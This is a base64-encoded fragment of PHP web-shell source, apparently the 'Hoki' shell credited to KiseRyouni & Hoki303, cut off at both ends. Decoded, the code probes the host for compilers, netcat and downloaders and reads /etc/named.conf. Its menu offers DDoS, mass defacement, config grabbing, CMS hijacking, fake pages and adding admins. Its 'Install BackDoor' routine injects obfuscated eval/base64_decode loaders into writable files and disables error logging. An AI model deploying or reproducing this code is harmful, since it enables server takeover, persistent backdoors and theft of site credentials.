SgiL2V0Yy9uYW1lZC5jb25mIixmYWxzZSk7CmlmKCEkZDBtYWlucyl7ZWNobyAiQ2FudCBSZWFkIFsgL2V0Yy9uYW1lZC5jb25mIF0iOyRHTE9CQUxTWyJuZWVkX3RvX3VwZGF0ZV9oZWFkZXIiXT0idHJ1ZSI7fWVsc2V7CiRjb3VudD0wOwpmb3JlYWNoKCRkMG1haW5zIGFzICRkMG1haW4pewppZihAc3Ryc3RyKCRkMG1haW4sInpvbmUiKSl7CnByZWdfbWF0Y2hfYWxsKCcjem9uZSAiKC4qKSIjJywgJGQwbWFpbiwgJGRvbWFpbnMpOwpmbHVzaCgpOwppZihzdHJsZW4odHJpbSgkZG9tYWluc1sxXVswXSkpID4gMil7CmZsdXNoKCk7CiRjb3VudCsrO319fQplY2hvICIkY291bnQgRG9tYWlucyI7fX0KZWxzZXtlY2hvKCJDYW50IFJlYWQgWyAvZXRjL25hbWVkLmNvbmYgXSIpO30KZWNobyAnPC9zcGFuPjwvdGQ+CjwvdHI+Cjx0cj4KPHRkIGhlaWdodD0iMTYiPjxzcGFuIGNsYXNzPSJoZWFkZXJfdmFycyI+SEREOjwvc3Bhbj48L3RkPgo8dGQ+PHNwYW4gY2xhc3M9ImhlYWRlcl92YXJzIj5Ub3RhbDo8L3NwYW4+PGI+Jy5ob2tpU2l6ZSgkdG90YWxTcGFjZSkuJyA8L2I+PHNwYW4gY2xhc3M9ImhlYWRlcl92YXJzIj5GcmVlOjwvc3Bhbj48Yj4nIC4gaG9raVNpemUoJGZyZWVTcGFjZSkgLiAnIFsnLiAoaW50KSAoJGZyZWVTcGFjZS8kdG90YWxTcGFjZSoxMDApIC4gJyVdPC9iPjwvdGQ+CjwvdHI+JzsKaWYoJEdMT0JBTFNbJ3N5cyddPT0ndW5peCcpewokdXNlZnVsX2Rvd25sb2FkZXIgPSAnPHRyPjx0ZCBoZWlnaHQ9IjE4IiBjb2xzcGFuPSIyIj48c3BhbiBjbGFzcz0iaGVhZGVyX3ZhcnMiPnVzZWZ1bDo8L3NwYW4+PHNwYW4gY2xhc3M9ImhlYWRlcl92YWx1ZXMiIGlkPSJoZWFkZXJfdXNlZnVsIj4tLS0tLS0tLS0tLS0tLTwvc3Bhbj48L3RkPjwvdHI+PHRkIGhlaWdodD0iMCIgY29sc3Bhbj0iMiI+PHNwYW4gY2xhc3M9ImhlYWRlcl92YXJzIj5Eb3dubG9hZGVyOiA8L3NwYW4+PHNwYW4gY2xhc3M9ImhlYWRlcl92YWx1ZXMiIGlkPSJoZWFkZXJfZG93bmxvYWRlciI+LS0tLS0tLS0tLS0tLS08L3NwYW4+PC90ZD48L3RyPic7CmlmKCFAaW5pX2dldCgnc2FmZV9tb2RlJykpewppZihzdHJsZW4oaG9raUV4KCJpZCIsZmFsc2UsZmFsc2UpKT4wKXsKZWNobyAnPHRyPjx0ZCBoZWlnaHQ9IjE4IiBjb2xzcGFuPSIyIj48c3BhbiBjbGFzcz0iaGVhZGVyX3ZhcnMiPlVzZWZ1bCA6IDwvc3Bhbj4nOwokdXNlcmZ1bCA9IGFycmF5KCdnY2MnLCdsY2MnLCdjYycsJ2xkJywnbWFrZScsJ3BocCcsJ3BlcmwnLCdweXRob24nLCdydWJ5JywndGFyJywnZ3ppcCcsJ2J6aXAnLCdiemlob2tpMicsJ25jJywnbG9jYXRlJywnc3VpZHBlcmwnKTsKJHg9MDsKZm9yZWFjaCgkdXNlcmZ1bCBhcyAkaXRlbSlpZihob2tpV2hpY2goJGl0ZW0pKXskeCsrO2VjaG8gJzxzcGFuIGNsYXNzPSJoZWFkZXJfdmFsdWVzIiBzdHlsZT0ibWFyZ2luLWxlZnQ6IDRweDsiPicuJGl0ZW0uJzwvc3Bhbj4nO30KaWYoJHg9PTApe2VjaG8gIjxzcGFuIGNsYXNzPSdoZWFkZXJfdmFsdWVzJyBpZD0naGVhZGVyX3VzZWZ1bCc+LS0tLS0tLS0tLS0tLS08L3NwYW4+IjskR0xPQkFMU1sibmVlZF90b191cGRhdGVfaGVhZGVyIl0gPSAidHJ1ZSI7fQplY2hvICc8L3RkPgo8L3RyPgo8dHI+Cjx0ZCBoZWlnaHQ9IjAiIGNvbHNwYW49IjIiPjxzcGFuIGNsYXNzPSJoZWFkZXJfdmFycyI+RG93bmxvYWRlcjogPC9zcGFuPic7CiRkb3dubG9hZGVycyA9IGFycmF5KCd3Z2V0JywnZmV0Y2gnLCdseW54JywnbGlua3MnLCdjdXJsJywnZ2V0JywnbHdwLW1pcnJvcicpOwokeD0wOwpmb3JlYWNoKCRkb3dubG9hZGVycyBhcyAkaXRlbTIpaWYoaG9raVdoaWNoKCRpdGVtMikpeyR4Kys7ZWNobyAnPHNwYW4gY2xhc3M9ImhlYWRlcl92YWx1ZXMiIHN0eWxlPSJtYXJnaW4tbGVmdDogNHB4OyI+Jy4kaXRlbTIuJzwvc3Bhbj4nO30KaWYoJHg9PTApe2VjaG8gIjxzcGFuIGNsYXNzPSdoZWFkZXJfdmFsdWVzJyBpZD0naGVhZGVyX2Rvd25sb2FkZXInPi0tLS0tLS0tLS0tLS0tPC9zcGFuPiI7JEdMT0JBTFNbIm5lZWRfdG9fdXBkYXRlX2hlYWRlciJdID0gInRydWUiO30KZWNobyAnPC90ZD4KPC90cj4nOwp9ZWxzZXsKZWNobyAkdXNlZnVsX2Rvd25sb2FkZXI7JEdMT0JBTFNbIm5lZWRfdG9fdXBkYXRlX2hlYWRlciJdID0gInRydWUiOwp9Cn1lbHNlewplY2hvICR1c2VmdWxfZG93bmxvYWRlcjskR0xPQkFMU1sibmVlZF90b191cGRhdGVfaGVhZGVyIl0gPSAidHJ1ZSI7Cn0KfWVsc2V7CmVjaG8gJzx0cj48dGQgaGVpZ2h0PSIxOCIgY29sc3Bhbj0iMiI+PHNwYW4gY2xhc3M9ImhlYWRlcl92YXJzIj5XaW5kb3dzOjwvc3Bhbj48Yj4nOwplY2hvIGhva2lFeCgndmVyJyxmYWxzZSxmYWxzZSk7CmVjaG8gJzwvdGQ+CjwvdHI+IDx0cj4KPHRkIGhlaWdodD0iMCIgY29sc3Bhbj0iMiI+PHNwYW4gY2xhc3M9ImhlYWRlcl92YXJzIj5Eb3dubG9hZGVyOiA8L3NwYW4+PGI+LS0tLS0tLS0tLS0tLTwvYj48L3RkPgo8L3RyPjwvYj4nOwp9CiRxdW90ZXMgPSAoZnVuY3Rpb25fZXhpc3RzKCdnZXRfbWFnaWNfcXVvdGVzX2dwYycpP2dldF9tYWdpY19xdW90ZXNfZ3BjKCk6JzAnKTtpZiAoJHF1b3RlcyA9PSAiMSIgb3IgJHF1b3RlcyA9PSAib24iKXskbWFnaWMgPSAnPGI+PHNwYW4gY2xhc3M9ImhlYWRlcl9vbiI+T048L3NwYW4+Jzt9ZWxzZXskbWFnaWMgPSAnPHNwYW4gY2xhc3M9ImhlYWRlcl9vZmYiPk9GRjwvc3Bhbj4nO30KZWNobyAnPHRyPgo8dGQgaGVpZ2h0PSIxNiIgY29sc3Bhbj0iMiI+PHNwYW4gY2xhc3M9ImhlYWRlcl92YXJzIj5EaXNhYmxlIEZ1bmN0aW9uczogPC9zcGFuPjxiPicuSG9raV9HZXREaXNhYmxlX0Z1bmN0aW9uKCkuJzwvYj48L3RkPgo8L3RyPgo8dHI+Cjx0ZCBoZWlnaHQ9IjE2IiBjb2xzcGFuPSIyIj48c3BhbiBjbGFzcz0iaGVhZGVyX3ZhcnMiPkNVUkwgOjwvc3Bhbj4nLiRjdXJsLicgfCA8c3BhbiBjbGFzcz0iaGVhZGVyX3ZhcnMiPlNTSDIgOiA8L3NwYW4+Jy4kc3NoMi4nIHwgPHNwYW4gY2xhc3M9ImhlYWRlcl92YXJzIj5NYWdpYyBRdW90ZXMgOiA8L3NwYW4+Jy4kbWFnaWMuJyB8IDxzcGFuIGNsYXNzPSJoZWFkZXJfdmFycyI+IE15U1FMIDo8L3NwYW4+Jy4kbXlzcWwuJyB8IDxzcGFuIGNsYXNzPSJoZWFkZXJfdmFycyI+TVNTUUwgOjwvc3Bhbj4nLiRtc3NxbC4nIHwgPHNwYW4gY2xhc3M9ImhlYWRlcl92YXJzIj4gUG9zdGdyZVNRTCA6PC9zcGFuPicuJHBnLicgfCA8c3BhbiBjbGFzcz0iaGVhZGVyX3ZhcnMiPiBPcmFjbGUgOjwvc3Bhbj4nLiRvci4nICcuKCRHTE9CQUxTWydzeXMnXT09InVuaXgiPyd8IDxzcGFuIGNsYXNzPSJoZWFkZXJfdmFycyI+IENHSSA6PC9zcGFuPiAnLiRjZ2lfc2hlbGw6IiIpLic8L3RkPjx0ZCB3aWR0aD0iMTUlIj48ZGl2IGlkPSJob2tpX2tpc2VyeW91bmkiPjxjZW50ZXI+PGEgaHJlZj0iaHR0cHM6Ly90Lm1lL2tpc2VyeW91bmkiIHRhcmdldD0iX2JsYW5rIj48c3Bhbj48Zm9udCBjbGFzcz0ia2lzZXJ5b3VuaS10ZXh0IiBjb2xvcj0iIzBGMCI+S2lzZVJ5b3VuaSAmIEhva2kzMDM8L2ZvbnQ+PC9zcGFuPjwvYT48L2NlbnRlcj48L2Rpdj48L3RkPgo8L3RyPgo8dHI+Cjx0ZCBoZWlnaHQ9IjExIiBjb2xzcGFuPSIzIj48c3BhbiBjbGFzcz0iaGVhZGVyX3ZhcnMiPk9wZW5fYmFzZWRpciA6PC9zcGFuPjxiPicuJG9wZW5fYi4nPC9iPiB8IDxzcGFuIGNsYXNzPSJoZWFkZXJfdmFycyI+U2FmZV9tb2RlX2V4ZWNfZGlyIDo8L3NwYW4+PGI+Jy4kc2FmZV9leGUuJzwvYj4gfCA8c3BhbiBjbGFzcz0iaGVhZGVyX3ZhcnMiPiBTYWZlX21vZGVfaW5jbHVkZV9kaXIgOjwvc3Bhbj48L2I+Jy4kc2FmZV9pbmNsdWRlLic8L2I+PC90ZD4KPC90cj4KPHRyPgo8dGQgaGVpZ2h0PSIxMSI+PHNwYW4gY2xhc3M9ImhlYWRlcl92YXJzIj5Tb2Z0V2FyZTogPC9zcGFuPjwvdGQ+Cjx0ZCBjb2xzcGFuPSIyIj48Yj4nLkBnZXRlbnYoJ1NFUlZFUl9TT0ZUV0FSRScpLic8L2I+PC90ZD4KPC90cj4nOwppZigkR0xPQkFMU1snc3lzJ109PSJ3aW4iKXsKZWNobyAnPHRyPgo8dGQgaGVpZ2h0PSIxMiI+PHNwYW4gY2xhc3M9ImhlYWRlcl92YXJzIj5EUklWRTo8L3NwYW4+PC90ZD4KPHRkIGNvbHNwYW49IjIiPjxiPicuJGRyaXZlcy4nPC9iPjwvdGQ+CjwvdHI+JzsKfQplY2hvICc8dHI+Cjx0ZCBoZWlnaHQ9IjEyIj48c3BhbiBjbGFzcz0iaGVhZGVyX3ZhcnMiPlBXRDo8L3NwYW4+PC90ZD4KPHRkIGNvbHNwYW49IjIiPjxzcGFuIGlkPSJoZWFkZXJfY3dkIj4nLiRjd2RfbGlua3MuJyA8L3NwYW4+PGEgaHJlZj0iI2FjdGlvbj1maWxlbWFuJnBhdGg9Jy4kR0xPQkFMU1snaG9tZV9jd2QnXS4nIiBvbmNsaWNrPSJnKFwnRmlsZXNNYW5cJyxcJycgLiAkR0xPQkFMU1snaG9tZV9jd2QnXSAuICdcJyxcJ1wnLFwnXCcsXCdcJykiPjxzcGFuIGNsYXNzPSJob21lX3NoZWxsIj5bIEhvbWUgU2hlbGwgXTwvc3Bhbj4gPC9hPjwvdGQ+CjwvdHI+CjwvdGFibGU+CjwvZGl2Pgo8ZGl2IGlkPSJtZXVubGlzdCI+Cjx1bD4KJzsKJGxpID0gYXJyYXkoJ3Byb2MnPT4nUHJvY2VzcycsJ3BocGV2YWwnPT4nRXZhbCcsJ3NxbCc9PidTUUwgTWFuYWdlcicsJ2R1bXBlcic9PidEYXRhYmFzZSBEdW1wZXInLCdjb2xkdW1wZXInPT4nQ29sdW1uIER1bXBlcicsJ2hhc2gnPT4nRW4tRGVjb2RlcicsJ2Nvbm5lY3QnPT4nQkMnLAonem9uZWgnPT4nWk9ORS1IJywnZG9zJz0+J0RET1MnLCdzYWZlJz0+J0J5UGFzc2VyJywnY2dpc2hlbGwnPT4nQ2dpIFNoZWxsJywnc3NpU2hlbGwnPT4nU1NJIFNIRUxMJywnY3BjcmFjayc9PidIYXNoIFRvb2xzJywKJ3BvcnRzY2FubmVyJz0+J1BvcnQgU2NhbmVyJywnYmFzZWRpcic9PidPcGVuIEJhc2VEaXInLCdtYWlsJz0+J0Zha2UgTWFpbCcsJ3ppcGVyJz0+J0NvbXByZXNzb3InLCdkZXppcGVyJz0+J0RlQ29tcHJlc3NvcicsJ0luZGV4Q2hhbmdlcic9PidJbmRleCBDaGFuZ2VyJywncHdjaGFuZ2VyJz0+J0FkZCBOZXcgQWRtaW4nLCdTaGVsbEluamVjdG9ycyc9PidTaGVsbCBJbmplY3RvcnMnLAoncGhwMnhtbCc9PidQSFAyWE1MJywnY2xvdWRmbGFyZSc9PidDbG91ZEZsYXJlJywnV2htY3MnPT4nV2htY3MgRGVDb2RlcicsJ3N5bWxpbmsnPT4nU3ltbGluaycsJ01hc3NEZWZhY2VyJz0+J01hc3MgRGVmYWNlcicsJ0NyYWNrZXJzJz0+J0JydXRlRm9yY2VyJywnc2VhcmNoZXInPT4nU2VhcmNoZXInLCdjb25maWdfZ3JhYmJlcic9PidDb25maWcgR3JhYmJlcicsJ2Zha2VwYWdlJz0+J0Zha2UgUGFnZScsJ2FyY2hpdmVfbWFuYWdlcic9PidBcmNoaXZlIE1hbmFnZXInLAonY21zaGlqYWNrZXInPT4nQ01TIEhpamFja2VyJywncmVtb3RlZGwnPT4nUmVtb3RlIFVwbG9hZCcsJ2luYmFja2Rvb3InPT4nSW5zdGFsbCBCYWNrRG9vcicsJ3dob2lzJz0+J1dob2lzJywnc2VsZnJtJz0+J1JlbW92ZSBTaGVsbCcKKTsKZm9yZWFjaCgkbGkgYXMgJGtleT0+JHZhbHVlKXsKZWNobygnPGxpPjxhIGlkPSJtZW51X29wdF8nLiRrZXkuJyIgaHJlZj0iI2FjdGlvbj1vcHRpb25zJnBhdGg9Jy4kR0xPQkFMU1snY3dkJ10uJyZvcHQ9Jy4ka2V5LiciIGNsYXNzPSJtZW51X29wdGlvbnMiIG9uY2xpY2s9Imhva2lfY2FuX2FkZF9vcHQ9dHJ1ZTt0aGlzLmhyZWY9XCcjYWN0aW9uPW9wdGlvbnMmcGF0aD1cJytjXytcJyZvcHQ9Jy4ka2V5LidcJztnKFwnJy4ka2V5LidcJyxudWxsLFwnXCcsXCdcJyxcJ1wnKTtkLnF1ZXJ5U2VsZWN0b3IoXCcub3B0LXRpdGxlXCcpLmlubmVySFRNTD10aGlzLmlubmVySFRNTDsiPicuJHZhbHVlLic8L2E+PC9saT4nLiJcbiIpOwp9CmVjaG8gJzwvdWw+PGRpdiBzdHlsZT0idGV4dC1hbGlnbjogY2VudGVyO3BhZGRpbmc6IDZweDsiPjxhIGlkPSJtZW51X29wdF9zZXR0aW5ncyIgaHJlZj0iI2FjdGlvbj1vcHRpb25zJnBhdGg9Jy4kR0xPQkFMU1snY3dkJ10uJyZvcHQ9c2V0dGluZ3MiIGNsYXNzPSJtZW51X29wdGlvbnMiIG9uY2xpY2s9Imhva2lfY2FuX2FkZF9vcHQ9dHJ1ZTt0aGlzLmhyZWY9XCcjYWN0aW9uPW9wdGlvbnMmcGF0aD1cJytjXytcJyZvcHQ9c2V0dGluZ3NcJztnKFwnc2V0dGluZ3NcJyxudWxsLFwnXCcsXCdcJyxcJ1wnKTtkLnF1ZXJ5U2VsZWN0b3IoXCcub3B0LXRpdGxlXCcpLmlubmVySFRNTD10aGlzLmlubmVySFRNTDsiPkhva2kgU2V0dGluZ3M8L2E+PGEgc3R5bGU9ImRpc3BsYXk6bm9uZTsiIGlkPSJtZW51X29wdF9tYXJrZXQiIGhyZWY9IiNhY3Rpb249b3B0aW9ucyZwYXRoPScuJEdMT0JBTFNbJ2N3ZCddLicmb3B0PW1hcmtldCIgY2xhc3M9Im1lbnVfb3B0aW9ucyIgb25jbGljaz0iaG9raV9jYW5fYWRkX29wdD10cnVlO3RoaXMuaHJlZj1cJyNhY3Rpb249b3B0aW9ucyZwYXRoPVwnK2NfK1wnJm9wdD1tYXJrZXRcJztnKFwnbWFya2V0XCcsbnVsbCxcJ1wnLFwnXCcsXCdcJyk7ZC5xdWVyeVNlbGVjdG9yKFwnLm9wdC10aXRsZVwnKS5pbm5lckhUTUw9dGhpcy5pbm5lckhUTUw7Ij48c3BhbiBjbGFzcz0iaG9raV9wbHVzIj5Ib2tpIG1hcmtldDwvc3Bhbj48L2E+PGEgaWQ9Im1lbnVfb3B0X2Fib3V0dXMiIGhyZWY9IiNhY3Rpb249b3B0aW9ucyZwYXRoPScuJEdMT0JBTFNbJ2N3ZCddLicmb3B0PWFib3V0dXMiIGNsYXNzPSJtZW51X29wdGlvbnMiIG9uY2xpY2s9Imhva2lfY2FuX2FkZF9vcHQ9dHJ1ZTt0aGlzLmhyZWY9XCcjYWN0aW9uPW9wdGlvbnMmcGF0aD1cJytjXytcJyZvcHQ9YWJvdXR1c1wnO2coXCdhYm91dHVzXCcsbnVsbCxcJ1wnLFwnXCcsXCdcJyk7ZC5xdWVyeVNlbGVjdG9yKFwnLm9wdC10aXRsZVwnKS5pbm5lckhUTUw9dGhpcy5pbm5lckhUTUw7Ij5BYm91dCBVczwvYT4nLighZW1wdHkoJF9DT09LSUVbJ0hva2lVc2VyJ10pICYmICFlbXB0eSgkX0NPT0tJRVsnSG9raVBhc3MnXSkgPyAnPGEgaHJlZj0iamF2YXNjcmlwdDp2b2lkKDApOyIgb25jbGljaz0iaG9raUxvZ091dCgpOyI+PGZvbnQgY29sb3I9InJlZCI+TG9nT3V0PC9mb250PjwvYT4nOicnKS4nPC9kaXY+PC9kaXY+PGRpdiBpZD0iZmlsZXNtYW5fdGFicyI+PGRpdiBvbm1vdXNlb3Zlcj0iaG9raUZpbGVzbWFuVGFiU2hvd1RpdGxlKHRoaXMsZXZlbnQpOyIgb25tb3VzZW91dD0iaG9raUZpbGVzbWFuVGFiSGlkZVRpdGxlKHRoaXMsZXZlbnQpOyIgZm1fY291bnRlcj0iMSIgcGF0aD0iJy4kR0xPQkFMU1snY3dkJ10uJyIgZm1faWQ9IjEiIGlkPSJmaWxlc21hbl90YWJfMSIgY2xhc3M9ImZpbGVzbWFuX3RhYiBmaWxlc21hbi10YWItYWN0aXZlIiBvbmNsaWNrPSJmaWxlc21hblRhYkNvbnRyb2xsZXIodGhpcyk7Ij48aW1nIGNsYXNzPSJmb2xkZXItdGFiLWljb24iIHNyYz0iaHR0cDovL3NvbGV2aXNpYmxlLmNvbS9pY29ucy9tZW51L2ZvbGRlcjIuc3ZnIj4gPHNwYW4+RmlsZSBtYW5hZ2VyPC9zcGFuPjwvZGl2PjxkaXYgc3R5bGU9ImRpc3BsYXk6aW5saW5lLWJsb2NrOyIgaWQ9ImZpbGVzbWFuX3RhYnNfY2hpbGQiPjwvZGl2PjxkaXYgaWQ9ImZpbGVzbWFuX25ld190YWIiIGNsYXNzPSJmaWxlc21hbl90YWIiIHN0eWxlPSJiYWNrZ3JvdW5kOiBtYXJvb247IiBvbkNsaWNrPSJob2tpRmlsZXNNYW5OZXdUYWIoY18sXCcvXCcsMSk7Ij5OZXcgVGFiICs8L2Rpdj48L2Rpdj4nO31lbHNlewpAZXJyb3JfcmVwb3J0aW5nKEVfQUxMIF4gRV9OT1RJQ0UpOwpAaW5pX3NldCgnZXJyb3JfbG9nJyxOVUxMKTsKQGluaV9zZXQoJ2xvZ19lcnJvcnMnLDApOwpAaW5pX3NldCgnbWF4X2V4ZWN1dGlvbl90aW1lJywwKTsKQGluaV9zZXQoJ21hZ2ljX3F1b3Rlc19ydW50aW1lJywgMCk7CkBzZXRfdGltZV9saW1pdCgwKTsKfX0KZnVuY3Rpb24gaG9raWxvZ291dCgpewpAc2V0Y29va2llKCJIb2tpVXNlciIsIG51bGwsIDIwMTIpOwpAc2V0Y29va2llKCJIb2tpUGFzcyIsIG51bGwsIDIwMTIpOwp1bnNldCgkX0NPT0tJRVsnSG9raVVzZXInXSwkX0NPT0tJRVsnSG9raVBhc3MnXSk7CmVjaG8oIm9rIik7Cn0KZnVuY3Rpb24gc2hvd0FuaW1hdGlvbigkbmFtZSl7CglyZXR1cm4gJy13ZWJraXQtYW5pbWF0aW9uOiAnLiRuYW1lLicgODAwbXMgZWFzZS1pbi1vdXQgZm9yd2FyZHM7LW1vei1hbmltYXRpb246ICcuJG5hbWUuJyA4MDBtcyBlYXNlLWluLW91dCBmb3J3YXJkczstbXMtYW5pbWF0aW9uOiAnLiRuYW1lLicgODAwbXMgZWFzZS1pbi1vdXQgZm9yd2FyZHM7YW5pbWF0aW9uOiAnLiRuYW1lLicgODAwbXMgZWFzZS1pbi1vdXQgZm9yd2FyZHM7JzsKfQpmdW5jdGlvbiBfX3Nob3dpY29uKCRyKXsKCSRzWydidG4nXT0naHR0cHM6Ly9wbmcucG5ndHJlZS5jb20vcG5nLWNsaXBhcnQvMjAyMzAzMDgvb3VybWlkL3BuZ3RyZWUtbG9nby1nYXJ1ZGEtcGFuY2FzaWxhLXJlZC13aGl0ZS1lYWdsZS1mb3ItZGZ0LXByaW50LWZyZWUtZG93bmxvYWQtcG5nLWltYWdlXzY2MzcxNTkucG5nJzsKCSRzWydob2tpbWluaSddPSdodHRwczovL3BuZy5wbmd0cmVlLmNvbS9wbmctY2xpcGFydC8yMDIzMDMwOC9vdXJtaWQvcG5ndHJlZS1sb2dvLWdhcnVkYS1wYW5jYXNpbGEtcmVkLXdoaXRlLWVhZ2xlLWZvci1kZnQtcHJpbnQtZnJlZS1kb3dubG9hZC1wbmctaW1hZ2VfNjYzNzE1OS5wbmcnOwoJJHNbJ2xvYWRlciddPSdodHRwczovL3BuZy5wbmd0cmVlLmNvbS9wbmctY2xpcGFydC8yMDIzMDMwOC9vdXJtaWQvcG5ndHJlZS1sb2dvLWdhcnVkYS1wYW5jYXNpbGEtcmVkLXdoaXRlLWVhZ2xlLWZvci1kZnQtcHJpbnQtZnJlZS1kb3dubG9hZC1wbmctaW1hZ2VfNjYzNzE1OS5wbmcnOwoJLy9yZXR1cm4gJ2RhdGE6aW1hZ2UvcG5nO2Jhc2U2NCwnLl9fZ2V0X3Jlc291cmNlKCRzWyRyXSk7CglyZXR1cm4gJHNbJHJdOwp9CmZ1bmN0aW9uIGhva2lpbmJhY2tkb29yKCl7Cmhva2loZWFkKCk7CmVjaG8gJzxkaXYgY2xhc3M9aGVhZGVyPjxjZW50ZXI+PHA+PGRpdiBjbGFzcz0idHh0Zm9udF9oZWFkZXIiPnwgSW5zdGFsbCBCYWNrRG9vciB8PC9kaXY+PC9wPjxoMz48YSBocmVmPWphdmFzY3JpcHQ6dm9pZCgwKSBvbmNsaWNrPSJnKFwnaW5iYWNrZG9vclwnLG51bGwsXCdmaWxlXCcpIj58IEluIEZpbGUgfCA8L2E+PGEgaHJlZj1qYXZhc2NyaXB0OnZvaWQoMCkgb25jbGljaz0iZyhcJ2luYmFja2Rvb3JcJyxudWxsLFwnZGJcJykiPnwgSW4gRGF0YUJhc2UgfCA8L2E+PC9oMz48L2NlbnRlcj4nOwokZXJyb3IgPSAnPGZvbnQgY29sb3I9InJlZCI+RXJyb3IgSW4gSW5qZWN0IEJhY2tEb29yLi4uITxicj5GaWxlIExvYWRlciBpcyBub3QgV3JpdGFibGUgT3IgTm90IEV4aXN0cy4uLiE8L2ZvbnQ+JzsKJHN1Y2Nlc3M9ICc8Zm9udCBjb2xvcj0iZ3JlZW4iPlN1Y2Nlc3MuLi4hJzsKJHRleHRhcmVhID0gIjxkaXYgc3R5bGU9J2Rpc3BsYXk6bm9uZTsnIGlkPSdiYWNrZG9vcl90ZXh0YXJlYSc+PGRpdiBjbGFzcz0ndHh0Zm9udCc+WW91ciBTaGVsbDo8L2Rpdj48cD48dGV4dGFyZWEgbmFtZT0nc2hlbGwnIHJvd3M9JzE5JyBjb2xzPScxMDMnPjw/cGhwXG5cdGVjaG8oJ0hva2kgVGVhbSBpcyBIZXJlLi4uIScpO1xuPz48L3RleHRhcmVhPjwvcD48L2Rpdj4iOwokc2VsZWN0ID0gIjxkaXYgY2xhc3M9J3R4dGZvbnQnPlVzZTo8L2Rpdj4gPHNlbGVjdCBuYW1lPSdtZXRob2QnIHN0eWxlPSd3aWR0aDoxNTVweDsnIG9uQ2hhbmdlPSdpbkJhY2tkb29yKHRoaXMpOyc+PG9wdGlvbiB2YWx1ZT0naG9raSc+SG9raSBUZWFtIFVwbG9hZGVyPC9vcHRpb24+PG9wdGlvbiB2YWx1ZT0nbXknPk15IFByaXZhdGUgU2hlbGw8L29wdGlvbj48L3NlbGVjdD4iOwokY3dkID0gJ0V4YW1wbGU6IC9ob21lL2hva2kvcHVibGljX2h0bWwvaW5kZXgucGhwJzsKaWYoJF9QT1NUWydob2tpMSddPT0nZmlsZScpewplY2hvKCI8Y2VudGVyPjxwPjxkaXYgY2xhc3M9J3R4dGZvbnRfaGVhZGVyJz58IEluIEZpbGUgfDwvZGl2PjwvcD48cD48Zm9ybSBvbnN1Ym1pdD1cImcoJ2luYmFja2Rvb3InLG51bGwsJ2ZpbGUnLHRoaXMubWV0aG9kLnZhbHVlLHRoaXMuZmlsZS52YWx1ZSx0aGlzLnNoZWxsLnZhbHVlLHRoaXMua2V5LnZhbHVlKTtyZXR1cm4gZmFsc2U7XCI+eyRzZWxlY3R9IDxkaXYgY2xhc3M9J3R4dGZvbnQnPkJhY2tkb29yIExvYWRlcjo8L2Rpdj4gPGlucHV0IHR5cGU9J3RleHQnIG5hbWU9J2ZpbGUnIHNpemU9JzUwJyBwbGFjZWhvbGRlcj0neyRjd2R9Jz4gPGRpdiBjbGFzcz0ndHh0Zm9udCc+S2V5OiA8L2Rpdj4gPGlucHV0IHR5cGU9J3RleHQnIG5hbWU9J2tleScgc2l6ZT0nMTAnIHZhbHVlPSdob2tpJz4gPGlucHV0IHR5cGU9J3N1Ym1pdCcgdmFsdWU9JyAnPnskdGV4dGFyZWF9PC9mb3JtPjwvcD48L2NlbnRlcj4iKTsKaWYoJF9QT1NUWydob2tpMiddIT0nJyYmJF9QT1NUWydob2tpMyddIT0nJyYmJF9QT1NUWydob2tpNCddIT0nJyl7CiRtZXRob2QgPSAkX1BPU1RbJ2hva2kyJ107CiRmaWxlID0gJF9QT1NUWydob2tpMyddOwokc2hlbGwgPSAkX1BPU1RbJ2hva2k0J107CiRrZXkgPSBzdHJfcmVwbGFjZShhcnJheSgnIicsJ1wnJyksJycsdHJpbSgkX1BPU1RbJ2hva2k1J10pKTsKaWYoJGtleT09JycpJGtleT0naG9raSc7CmlmKCRtZXRob2Q9PSdteScpeyRzaGVsbD1fX1pXNWpiMlJsY2coJHNoZWxsKTt9ZWxzZXskc2hlbGw9JEdMT0JBTFNbJ19fSE9LSV9TSEVMTF9DT0RFJ107fQokY29kZSA9ICc8P3BocCBpZihpc3NldCgkX0dFVFsiaG9raSJdKSYmJF9HRVRbImhva2kiXT09IicuJGtleS4nIil7JGZ1bmM9ImNyIi4iZWEiLiJ0ZV8iLiJmdW4iLiJjdGlvbiI7JHg9JGZ1bmMoIlwkYyIsImUiLiJ2Ii4iYWwiLiIoXCc/PlwnLmJhc2UiLiI2NCIuIl9kZWMiLiJvZGUoXCRjKSk7Iik7JHgoIicuJHNoZWxsLiciKTtleGl0O30/Pic7CmlmKEBpc19maWxlKCRmaWxlKSYmQGlzX3dyaXRhYmxlKCRmaWxlKSl7QGZpbGVfcHV0X2NvbnRlbnRzKCRmaWxlLCRjb2RlLiJcbiIuQGZpbGVfZ2V0X2NvbnRlbnRzKCRmaWxlKSk7X19hbGVydCgkc3VjY2Vzcy4iPGJyPlJ1biBXaXRoOiAiLmJhc2VuYW1lKCRmaWxlKS4iP2hva2k9Ii4ka2V5Lic8L2ZvbnQ+Jyk7fWVsc2V7X19hbGVydCgkZXJyb3IpO319fQppZigkX1BPU1RbJ2hva2kxJ109PSdkYicpewplY2hvKCI8Y2VudGVyPjxwPjxkaXYgY2xhc3M9J3R4dGZvbnRfaGVhZGVyJz58IEluIERhdGFCYXNlIHw8L2Rpdj48L3A+Ii5nZXRDb25maWdIdG1sKCdhbGwnKS4iPHA+PGZvcm0gb25zdWJtaXQ9XCJnKCdpbmJhY2tkb29yJyxudWxsLCdkYicsdGhpcy5kYl9ob3N0LnZhbHVlLHRoaXMuZGJfdXNlcm5hbWUudmFsdWUsdGhpcy5kYl9wYXNzd29yZC52YWx1ZSx0aGlzLmRiX25hbWUudmFsdWUsdGhpcy5maWxlLnZhbHVlLHRoaXMubWV0aG9kLnZhbHVlLHRoaXMuc2hlbGwudmFsdWUsdGhpcy5rZXkudmFsdWUpO3JldHVybiBmYWxzZTtcIj4iKTsKJHRhYmxlID0gYXJyYXkoJ3RkMScgPT4KYXJyYXkoJ2NvbG9yJyA9PiAnRkZGRkZGJywgJ3RkTmFtZScgPT4gJ2RiX2hvc3QgOiAnLCAnaW5wdXROYW1lJyA9PiAnZGJfaG9zdCcsICdpZCcgPT4gJ2RiX2hvc3QnLCAnaW5wdXRWYWx1ZScgPT4gJ2xvY2FsaG9zdCcsICdpbnB1dFNpemUnID0+ICc1MCcpLAondGQyJyA9PgphcnJheSgnY29sb3InID0+ICdGRkZGRkYnLCAndGROYW1lJyA9PiAnZGJfdXNlcm5hbWUgOiAnLCAnaW5wdXROYW1lJyA9PiAnZGJfdXNlcm5hbWUnLCAnaWQnID0+ICdkYl91c2VyJywgJ2lucHV0VmFsdWUnID0+ICcnLCAnaW5wdXRTaXplJyA9PiAnNTAnKSw